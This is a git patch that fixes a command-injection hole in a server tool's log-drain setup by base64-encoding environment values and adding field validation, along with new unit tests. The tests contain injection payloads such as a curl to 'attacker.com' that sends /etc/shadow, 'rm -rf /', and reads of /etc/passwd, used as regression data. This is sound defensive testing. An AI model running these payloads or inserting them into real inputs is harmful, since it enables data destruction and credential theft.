From fcd574e1eb1c2f504c48e5be4a5cb6d69f8f1f55 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 22:19:14 +0100 Subject: [PATCH] fix(log-drain): prevent command injection by base64-encoding environment variables Replace direct shell interpolation of environment values with base64 encoding to prevent command injection attacks. Environment configuration is now built as a single string, base64-encoded, then decoded to file atomically. Also add regex validation to restrict environment field values to safe characters (alphanumeric, underscore, hyphen, dot) at the application layer. Fixes GHSA-3xm2-hqg8-4m2p --- app/Actions/Server/StartLogDrain.php | 39 +++---- app/Livewire/Server/LogDrains.php | 12 +- tests/Unit/LogDrainCommandInjectionTest.php | 118 ++++++++++++++++++++ 3 files changed, 138 insertions(+), 31 deletions(-) create mode 100644 tests/Unit/LogDrainCommandInjectionTest.php diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php index f72f23696..e4df5a061 100644 --- a/app/Actions/Server/StartLogDrain.php +++ b/app/Actions/Server/StartLogDrain.php @@ -177,6 +177,19 @@ public function handle(Server $server) $parsers_config = $config_path.'/parsers.conf'; $compose_path = $config_path.'/docker-compose.yml'; $readme_path = $config_path.'/README.md'; + if ($type === 'newrelic') { + $envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n"; + } elseif ($type === 'highlight') { + $envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n"; + } elseif ($type === 'axiom') { + $envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n"; + } elseif ($type === 'custom') { + $envContent = ''; + } else { + throw new \Exception('Unknown log drain type.'); + } + $envEncoded = base64_encode($envContent); + $command = [ "echo 'Saving configuration'", "mkdir -p $config_path", @@ -184,34 +197,10 @@ public function handle(Server $server) "echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null", "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null", "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null", - "test -f $config_path/.env && rm $config_path/.env", - ]; - if ($type === 'newrelic') { - $add_envs_command = [ - "echo LICENSE_KEY=$license_key >> $config_path/.env", - "echo BASE_URI=$base_uri >> $config_path/.env", - ]; - } elseif ($type === 'highlight') { - $add_envs_command = [ - "echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env", - ]; - } elseif ($type === 'axiom') { - $add_envs_command = [ - "echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env", - "echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env", - ]; - } elseif ($type === 'custom') { - $add_envs_command = [ - "touch $config_path/.env", - ]; - } else { - throw new \Exception('Unknown log drain type.'); - } - $restart_command = [ + "echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null", "echo 'Starting Fluent Bit'", "cd $config_path && docker compose up -d", ]; - $command = array_merge($command, $add_envs_command, $restart_command); return instant_remote_process($command, $server); } catch (\Throwable $e) { diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php index d4a65af81..5d77f4998 100644 --- a/app/Livewire/Server/LogDrains.php +++ b/app/Livewire/Server/LogDrains.php @@ -24,16 +24,16 @@ class LogDrains extends Component #[Validate(['boolean'])] public bool $isLogDrainAxiomEnabled = false; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainNewRelicLicenseKey = null; #[Validate(['url', 'nullable'])] public ?string $logDrainNewRelicBaseUri = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomDatasetName = null; - #[Validate(['string', 'nullable'])] + #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])] public ?string $logDrainAxiomApiKey = null; #[Validate(['string', 'nullable'])] @@ -127,7 +127,7 @@ public function customValidation() if ($this->isLogDrainNewRelicEnabled) { try { $this->validate([ - 'logDrainNewRelicLicenseKey' => ['required'], + 'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logDrainNewRelicBaseUri' => ['required', 'url'], ]); } catch (\Throwable $e) { @@ -138,8 +138,8 @@ public function customValidation() } elseif ($this->isLogDrainAxiomEnabled) { try { $this->validate([ - 'logDrainAxiomDatasetName' => ['required'], - 'logDrainAxiomApiKey' => ['required'], + 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], ]); } catch (\Throwable $e) { $this->isLogDrainAxiomEnabled = false; diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php new file mode 100644 index 000000000..5beef1a4b --- /dev/null +++ b/tests/Unit/LogDrainCommandInjectionTest.php @@ -0,0 +1,118 @@ +/tmp/pwned)'; + + $server = mock(Server::class)->makePartial(); + $settings = mock(ServerSetting::class)->makePartial(); + + $settings->is_logdrain_axiom_enabled = true; + $settings->is_logdrain_newrelic_enabled = false; + $settings->is_logdrain_highlight_enabled = false; + $settings->is_logdrain_custom_enabled = false; + $settings->logdrain_axiom_dataset_name = 'test-dataset'; + $settings->logdrain_axiom_api_key = $maliciousPayload; + + $server->name = 'test-server'; + $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + + // Build the env content the same way StartLogDrain does after the fix + $envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n"; + $envEncoded = base64_encode($envContent); + + // The malicious payload must NOT appear directly in the encoded string + // (it's inside the base64 blob, which the shell treats as opaque data) + expect($envEncoded)->not->toContain($maliciousPayload); + + // Verify the decoded content preserves the value exactly + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}"); +}); + +it('does not interpolate newrelic license key into shell commands', function () { + $maliciousPayload = '`rm -rf /`'; + + $envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); + + $decoded = base64_decode($envEncoded); + expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}"); +}); + +it('does not interpolate highlight project id into shell commands', function () { + $maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))'; + + $envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n"; + $envEncoded = base64_encode($envContent); + + expect($envEncoded)->not->toContain($maliciousPayload); +}); + +it('produces correct env file content for axiom type', function () { + $datasetName = 'my-dataset'; + $apiKey = 'xaat-abc123-def456'; + + $envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n"); +}); + +it('produces correct env file content for newrelic type', function () { + $licenseKey = 'nr-license-123'; + $baseUri = 'https://log-api.newrelic.com/log/v1'; + + $envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n"; + $decoded = base64_decode(base64_encode($envContent)); + + expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n"); +}); + +// ------------------------------------------------------------------------- +// Validation layer: reject shell metacharacters +// ------------------------------------------------------------------------- + +it('rejects shell metacharacters in log drain fields', function (string $payload) { + // These payloads should NOT match the safe regex pattern + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $payload))->toBe(0); +})->with([ + '$(id)', + '`id`', + 'key;rm -rf /', + 'key|cat /etc/passwd', + 'key && whoami', + 'key$(curl evil.com)', + "key\nnewline", + 'key with spaces', + 'key>file', + 'key/tmp/coolify_poc_logdrain)', +]); + +it('accepts valid log drain field values', function (string $value) { + $pattern = '/^[a-zA-Z0-9_\-\.]+$/'; + + expect(preg_match($pattern, $value))->toBe(1); +})->with([ + 'xaat-abc123-def456', + 'my-dataset', + 'my_dataset', + 'simple123', + 'nr-license.key_v2', + 'project-id-123', +]);